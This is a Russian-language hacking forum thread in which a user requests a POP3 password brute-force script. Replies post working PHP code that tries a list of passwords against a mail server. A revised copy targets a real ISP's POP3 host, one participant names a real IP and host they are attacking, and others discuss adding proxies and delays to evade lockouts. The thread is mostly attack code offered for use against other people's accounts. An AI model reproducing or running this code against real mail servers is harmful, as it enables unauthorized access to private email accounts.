Форум АНТИЧАТ - Нужен скрипт на пхп иле перл.

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - Нужен скрипт на пхп иле перл. (https://forum.antichat.xyz/showthread.php?t=45737)

Нужен скрипт на пхп иле перл.

-Всем привет,я очень нуждаюсь в скрипте для брута поп3 на пхп иле перл.
-Помогите кто может.

вот елементарный пример.. мона прикрутить поддержку проксей и тд..

PHP код:


		
			
<?

/*



Simple POP3 Bruter v 0.2



30/05/05 (с) drmist



*/



$port=110;

$host='127.0.0.1';

$login='user';

$passwords="passwords.txt";



set_time_limit(0);



$FID=fopen($passwords,"r");



while(!feof($FID))

{

 $pass=str_replace("\r","",fgets($FID));

 $pass=str_replace("\n","",$pass);

 

 echo "$pass<br>\r\n";

 flush();

 

 $s=fsockopen($host, $port);

 

 if(!$s)

    die("Не могу соединиться <b>[$host:$port]</b>!");

 

 $line=fread($s, 256);



  if(!ereg("\+OK(.*)",$line)) 

    die("Хрень какая-то. Ты точно на pop сервер коннектишься?");



 fputs($s,"USER $login\r\n");



 $line=fread($s, 256);

 

 if(ereg("-ERR(.*)",$line))

   die("Неверный логин <b>$login</b>!");



 fputs($s,"PASS $pass\r\n");

 

 $line=fread($s, 256);



 if(!ereg("-ERR(.*)",$line))

   die("Пароль найден: <b>$pass</b>!");



 fclose($s);

}



echo "Работа завершина. Пароль не найден =((";



?>

взято отсюда
_http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
(с) drmist

halkfild,Проверяй работоспособность скриптов :) ато этот не работает.

Цитата:

halkfild,Проверяй работоспособность скриптов ато этот не работает.

все работает, тока что проверил
или ты локалхост брутить пытаешься?))

Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...

Цитата:

Сообщение от Y.Dmitriy

а еще один цикл со сменой прокси трудно дописать? а вообще чтобы через прокси брутить их понадобятся тысячи

D Mak
Проверь хорошо есле скрипт пашет .
Пытаюсь брутить на хост 194,90,5,5 netvision.net.il можеш попробывать.

Цитата:

halkfild,Проверяй работоспособность скриптов ато этот не работает.

вроде работает.. пропиши адресс сервера и юзай..

Интересно узнать бы через сколько запросов неверных POP3 банит входящие соединения... и в случаее чего всё таки можно Sleep() прикрутить , если всё таки с проксиками нехочеться замарачиваться....

Mo4x™ ? действительно, у мня первый пасс выдавал..
щас испробуй..

PHP код:


		
			
<? 

/* 



Simple POP3 Bruter v 0.2 



30/05/05 (с) drmist 



*/ 



$port=110; 

$host='pop3.netvision.net.il'; 

$login='login'; 

$passwords="passwords.txt"; 



set_time_limit(0); 



$FID=fopen($passwords,"r"); 



while(!feof($FID)) 

{ 

 $pass=str_replace("\r","",fgets($FID)); 

 $pass=str_replace("\n","",$pass); 

  

 echo "$pass<br>\r\n"; 

 flush(); 

  

 $s=fsockopen($host, $port); 

  

 if(!$s) 

    die("Не могу соединиться <b>[$host:$port]</b>!"); 

  

 $line=fread($s, 256); 



  if(!ereg("\+OK(.*)",$line))  

    die("Хрень какая-то. Ты точно на pop сервер коннектишься?"); 



 fputs($s,"USER $login\r\n"); 



 $line=fread($s, 256); 

 

 if(ereg("-ERR(.*)",$line)) 

   die("Неверный логин <b>$login</b>!"); 



 fputs($s,"PASS $pass\r\n"); 

  

 $line=fread($s, 256); 



 if(ereg("(OK)",$line)) 

   die("Пароль найден: <b>$pass</b>!"); 



 fclose($s); 

} 



echo "Работа завершина. Пароль не найден =(("; 



?>